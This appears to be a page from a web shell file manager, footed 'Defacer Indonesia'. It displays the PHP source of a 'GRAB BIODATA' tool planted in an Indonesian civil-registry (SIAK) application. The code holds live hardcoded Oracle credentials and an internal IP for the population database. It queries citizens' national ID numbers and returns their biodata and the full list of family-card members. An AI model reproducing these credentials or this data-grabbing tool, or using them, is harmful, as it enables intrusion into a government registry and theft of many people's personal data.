MINI
C:
/
siak
/
app
/
AdminLTE
/
Upload File:
files >> C:/siak/app/AdminLTE/lengkap1.php
<?php session_start(); if (!isset($_SESSION['grabtool_sudah_login'])) { header('location:login.php'); exit; } $page_title = 'BIODATA - '; $title = 'GRAB BIODATA'; $content = 'GRAB BIODATA'; include('header.php'); ?> <!-- Content Wrapper --> <div class="content-wrapper"> <section class="content"> <div class="row"> <div class="col-12"> <div class="card card-info"> <div class="card-header"> <h3 class="card-title">DATA SIAK</h3> </div> <div class="card-body"> <?php // ------------------------------ // CONFIG DATABASE // ------------------------------ $ipektp = '10.65.0.3'; $portdbsiak = '1521'; $dbsiakuser = 'SIAKOFF'; $dbsiakpwd = 'bobbytgs13'; $dbsiaksid = 'SIAKDB'; $conn = oci_connect($dbsiakuser, $dbsiakpwd, "$ipektp:$portdbsiak/$dbsiaksid"); if (!$conn) { $e = oci_error(); die("Koneksi database gagal: " . htmlentities($e['message'])); } // Set format tanggal $stid = oci_parse($conn, "ALTER SESSION SET nls_date_format='DD-MM-YYYY'"); oci_execute($stid); $result = null; $error = null; $pengikut = []; if (isset($_POST['nik'])) { $nik = trim($_POST['nik']); $query = "SELECT NIK, NO_KK, NAMA_LGKP, JENIS_KLMIN, TMPT_LHR, TGL_LHR FROM biodata_wni WHERE NIK = :nik"; $stid = oci_parse($conn, $query); oci_bind_by_name($stid, ':nik', $nik); oci_execute($stid); $row = oci_fetch_assoc($stid); if ($row) { // Konversi JK $row['JENIS_KLMIN'] = ($row['JENIS_KLMIN'] == '1') ? "Laki-Laki" : "Perempuan"; $result = $row; // ----------------------------- // AMBIL ANGGOTA KK (PENGIKUT) // ----------------------------- $no_kk = $row['NO_KK']; $sqlKK = "SELECT NIK, NAMA_LGKP, JENIS_KLMIN, TMPT_LHR, TGL_LHR FROM biodata_wni WHERE NO_KK = :nokk ORDER BY NAMA_LGKP"; $stidKK = oci_parse($conn, $sqlKK); oci_bind_by_name($stidKK, ':nokk', $no_kk); oci_execute($stidKK); while ($kk = oci_fetch_assoc($stidKK)) { $kk['JENIS_KLMIN'] = ($kk['JENIS_KLMIN'] == '1') ? "Laki-Laki" : "Perempuan"; $pengikut[] = $kk; } } else { $error = "Data tidak ditemukan untuk NIK tersebut."; } } ?> <!-- FORM PENCARIAN --> <div class="container" style="max-width:600px;"> <center><img src="garuda.jpg" style="width:130px;margin-bottom:20px;"></center> <h3 class="text-center">Cari Data Berdasarkan NIK</h3> <form method="POST" style="margin-top:20px;"> <label><b>Masukkan NIK:</b></label> <input type="text" name="nik" class="form-control" placeholder="6404051303810003" required> <button class="btn btn-primary btn-block" style="margin-top:15px;">Cari</button> </form> </div> <hr/> <?php if ($result): ?> <!-- HASIL BIODATA --> <div class="alert alert-success"> <strong>Data Ditemukan:</strong> </div> <table class="table table-bordered"> <tr><th>NIK</th><td><?= $result['NIK'] ?></td></tr> <tr><th>No KK</th><td><?= $result['NO_KK'] ?></td></tr> <tr><th>Nama Lengkap</th><td><?= $result['NAMA_LGKP'] ?></td></tr> <tr><th>Jenis Kelamin</th><td><?= $result['JENIS_KLMIN'] ?></td></tr> <tr><th>Tempat Lahir</th><td><?= $result['TMPT_LHR'] ?></td></tr> <tr><th>Tanggal Lahir</th><td><?= $result['TGL_LHR'] ?></td></tr> </table> <!-- ANGGOTA KK --> <h4>Daftar Anggota Dalam KK:</h4> <table class="table table-striped table-hover"> <thead> <tr> <th>NIK</th> <th>Nama</th> <th>JK</th> <th>Lahir</th> </tr> </thead> <tbody> <?php foreach ($pengikut as $p): ?> <tr> <td><?= $p['NIK'] ?></td> <td><?= $p['NAMA_LGKP'] ?></td> <td><?= $p['JENIS_KLMIN'] ?></td> <td><?= $p['TMPT_LHR'] . ", " . $p['TGL_LHR'] ?></td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> <?php if ($error): ?> <div class="alert alert-danger"><?= $error ?></div> <?php endif; ?> </div> <!-- card-body --> </div> <!-- card --> </div> <!-- col --> </div> <!-- row --> </section> </div> <?php include('footer.php'); ?>
Copyright ©2021 || Defacer Indonesia